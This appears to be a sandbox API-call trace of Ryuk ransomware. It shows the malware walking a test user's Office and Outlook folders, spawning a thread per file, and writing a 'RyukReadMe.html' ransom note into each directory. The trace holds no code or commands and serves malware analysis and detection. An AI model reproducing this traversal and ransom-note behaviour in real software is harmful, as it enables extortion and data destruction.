	[0227.009] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
	[0227.009] SetLastError (dwErrCode=0x0) 
	[0227.009] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0227.009] GetLastError () returned 0xb7
	[0227.009] CloseHandle (hObject=0x77c) returned 1
	[0227.010] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0227.010] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0227.010] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0227.011] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0227.011] SetLastError (dwErrCode=0x0) 
	[0227.011] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\user\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0227.012] GetLastError () returned 0x0
	[0227.012] WriteFile (in: hFile=0x77c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0227.015] CloseHandle (hObject=0x77c) returned 1
	[0227.015] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
	[0227.015] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0227.016] SetLastError (dwErrCode=0x0) 
	[0227.016] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0227.016] GetLastError () returned 0xb7
	[0227.016] CloseHandle (hObject=0x6d8) returned 1
	[0227.016] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
	[0227.016] SetLastError (dwErrCode=0x0) 
	[0227.017] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0227.017] GetLastError () returned 0xb7
	[0227.017] CloseHandle (hObject=0x6d8) returned 1
	[0227.017] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0227.018] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0227.018] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig", cAlternateFileName="350DB9~1.SIG")) returned 1
	[0227.018] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0227.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0232.340] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.345] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 1
	[0232.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0232.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0232.350] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.351] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 0
	[0232.351] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0232.351] SetLastError (dwErrCode=0x0) 
	[0232.351] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0233.072] GetLastError () returned 0x0
	[0233.072] WriteFile (in: hFile=0x6d8, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0233.076] CloseHandle (hObject=0x6d8) returned 1
	[0233.077] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0
	[0233.077] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0233.077] SetLastError (dwErrCode=0x0) 
	[0233.077] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0233.078] GetLastError () returned 0xb7
	[0233.078] CloseHandle (hObject=0x724) returned 1
	[0233.078] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0233.079] SetLastError (dwErrCode=0x0) 
	[0233.079] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0233.080] GetLastError () returned 0xb7
	[0233.080] CloseHandle (hObject=0x724) returned 1
	[0233.080] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0233.081] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0233.081] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x1de, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1
	[0233.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0233.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0233.088] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.089] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4d2d00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4d2d00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4d2d00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Outlook.sharing.xml.obi", cAlternateFileName="OUTLOO~1.OBI")) returned 1
	[0233.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0233.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0233.093] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.094] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1
	[0233.094] SetLastError (dwErrCode=0x0) 
	[0233.094] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x70c
	[0233.103] GetLastError () returned 0x0
	[0233.103] WriteFile (in: hFile=0x70c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0233.107] CloseHandle (hObject=0x70c) returned 1
	[0233.109] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0233.109] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0233.110] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0233.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0235.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720
	[0235.168] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.169] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0235.169] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.170] SetLastError (dwErrCode=0x0) 
	[0235.170] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x70c
	[0235.172] GetLastError () returned 0x0
	[0235.172] WriteFile (in: hFile=0x70c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.176] CloseHandle (hObject=0x70c) returned 1
	[0235.178] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0
	[0235.178] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0235.178] SetLastError (dwErrCode=0x0) 
	[0235.178] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.178] GetLastError () returned 0xb7
	[0235.178] CloseHandle (hObject=0x724) returned 1
	[0235.179] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0235.179] SetLastError (dwErrCode=0x0) 
	[0235.179] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0235.179] GetLastError () returned 0xb7
	[0235.179] CloseHandle (hObject=0x724) returned 1
